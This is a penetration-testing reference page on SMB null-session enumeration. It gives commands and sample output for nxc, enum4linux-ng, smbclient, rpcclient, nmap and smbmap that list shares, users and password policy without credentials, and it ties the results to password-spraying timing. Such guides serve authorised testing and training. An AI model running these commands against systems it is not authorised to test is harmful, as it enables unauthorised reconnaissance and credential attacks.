# SMB Null Session Enumeration

> Exploit unauthenticated SMB null sessions to enumerate shares, users, groups, and domain info using tools like enum4linux, rpcclient, and smbclient.

- **URL:** https://hackindex.io/services/smb/enumeration/smb-null-session-enumeration
- **Path:** SMB > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/smb/enumeration.md)
- **Published:** 2026-01-04
- **Updated:** 2026-07-14

A null session authenticates to SMB with empty credentials. On older Windows systems, misconfigured hosts, and Samba installations with `map to guest = bad user`, null sessions allow unauthenticated enumeration of shares, users, groups, and password policy. Modern Windows defaults block null sessions, but they still appear regularly on internal networks and lab targets.

## Quick Null Session Check with nxc

```bash
nxc smb $TARGET_IP -u '' -p ''
# SMB   10.10.10.5  445  LEGACY01  [+] WORKGROUP\: (Guest)
```

A `[+]` result confirms null or guest session access. Move immediately to shares, users, and password policy:

```bash
nxc smb $TARGET_IP -u '' -p '' --shares
nxc smb $TARGET_IP -u '' -p '' --users
nxc smb $TARGET_IP -u '' -p '' --groups
nxc smb $TARGET_IP -u '' -p '' --pass-pol
```

`--pass-pol` returns the lockout threshold and minimum password length, which feeds directly into spray timing decisions: see [AD Password Policy and Spray Surface](https://hackindex.io/platforms/active-directory/vulnerability-discovery/ad-password-policy-and-spray-surface). `--users` gives you a SAM account list without any credentials: feed it into [AD Password Spraying](https://hackindex.io/platforms/active-directory/exploitation/ad-password-spraying) or [AS-REP Roastable Account Enumeration](https://hackindex.io/services/kerberos/enumeration/as-rep-roastable-account-enumeration).

Also test the guest account explicitly:

```bash
nxc smb $TARGET_IP -u 'guest' -p '' --shares
```

## enum4linux-ng

enum4linux-ng runs a comprehensive null session sweep covering shares, users, groups, password policy, OS info, and RPC enumeration in a single command:

```bash
enum4linux-ng -A $TARGET_IP
```

With explicit null credentials:

```bash
enum4linux-ng -A -u '' -p '' $TARGET_IP
```

Key output sections to read:

- `[+] Shares`: all shares and access level
- `[+] Users`: SAM user dump via RPC
- `[+] Groups`: local and domain group membership
- `[+] Password Policy`: complexity, lockout settings
- `[+] OS Information`: hostname, domain, OS version

> [!WARNING]
> This tool is old, deprecated, or rarely used in modern engagements. Prefer `enum4linux-ng`.

```bash
enum4linux -a $TARGET_IP
```

## smbclient Null Session

Confirm null session and list shares:

```bash
smbclient -L //$TARGET_IP -N
# Sharename       Type      Comment
#         ---------       ----      -------
#         IPC$            IPC       IPC Service (Samba 4.6.2)
#         backup          Disk
```

Connect to IPC$ to confirm null bind works at the protocol level:

```bash
smbclient //$TARGET_IP/IPC$ -N
```

A successful connection confirms the null session is active. Connect to any readable share:

```bash
smbclient //$TARGET_IP/$SHARE -N
```

## rpcclient Null Session

`rpcclient` uses the null session to enumerate users, groups, and domain information via named pipe calls over IPC$:

```bash
rpcclient -U '' -N $TARGET_IP
```

Key commands inside the session:

```
srvinfo          server info and OS version
enumdomusers     all domain user accounts with RIDs
enumdomgroups    domain groups
querydominfo     domain name, user count, policy values
getdompwinfo     password policy
netshareenumall  all shares including hidden
```

Non-interactive one-liners:

```bash
rpcclient -U '' -N $TARGET_IP -c 'enumdomusers'
rpcclient -U '' -N $TARGET_IP -c 'querydominfo'
rpcclient -U '' -N $TARGET_IP -c 'netshareenumall'
```

Try guest if null is blocked:

```bash
rpcclient -U 'guest%' $TARGET_IP -c 'enumdomusers'
```

## Nmap Null Session Scripts

OS, hostname, and domain via SMB without credentials:

```bash
nmap -p 139,445 --script smb-os-discovery $TARGET_IP
# | smb-os-discovery:
# |   OS: Windows 7 Ultimate 7601 Service Pack 1
# |   Computer name: LEGACY01
# |   NetBIOS computer name: LEGACY01
# |   Domain name: WORKGROUP
# |   System time: 2025-03-10T10:23:14+00:00
```

Share and user enumeration via Nmap:

```bash
nmap -p 139,445 --script smb-enum-shares,smb-enum-users $TARGET_IP
```

## smbmap Anonymous Check

```bash
smbmap -H $TARGET_IP
# [+] IP: 10.10.10.5:445   Name: legacy01
#         Disk             Permissions     Comment
#         ----             -----------     -------
#         backup           READ ONLY
#         IPC$             NO ACCESS
```

Recursive listing of a readable share:

```bash
smbmap -H $TARGET_IP -r $SHARE
```

## Interpreting Results

A null session returning shares confirms the host allows unauthenticated SMB access. Any `READ` permission on a non-IPC share means file browsing is possible without credentials. User lists from `enumdomusers` or `--users` map the account surface. Password policy from `--pass-pol` or `getdompwinfo` determines safe spray timing.

On modern Windows hosts with null sessions blocked, every attempt returns `STATUS_ACCESS_DENIED` or `STATUS_LOGON_FAILURE`. Move to authenticated enumeration if null session is not available.

## References

- [cddmp/enum4linux-ng](https://github.com/cddmp/enum4linux-ng) - Modern Python rewrite of enum4linux with null and authenticated SMB/RPC enumeration
- [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) - nxc null session checks for shares, users, groups, and password policy
- [smb-os-discovery NSE Script](https://nmap.org/nsedoc/scripts/smb-os-discovery.html) - OS, hostname, domain, and workgroup via anonymous SMB session
- [smb-enum-shares NSE Script](https://nmap.org/nsedoc/scripts/smb-enum-shares.html) - Anonymous and authenticated share enumeration
- [smb-enum-users NSE Script](https://nmap.org/nsedoc/scripts/smb-enum-users.html) - User enumeration via null SMB session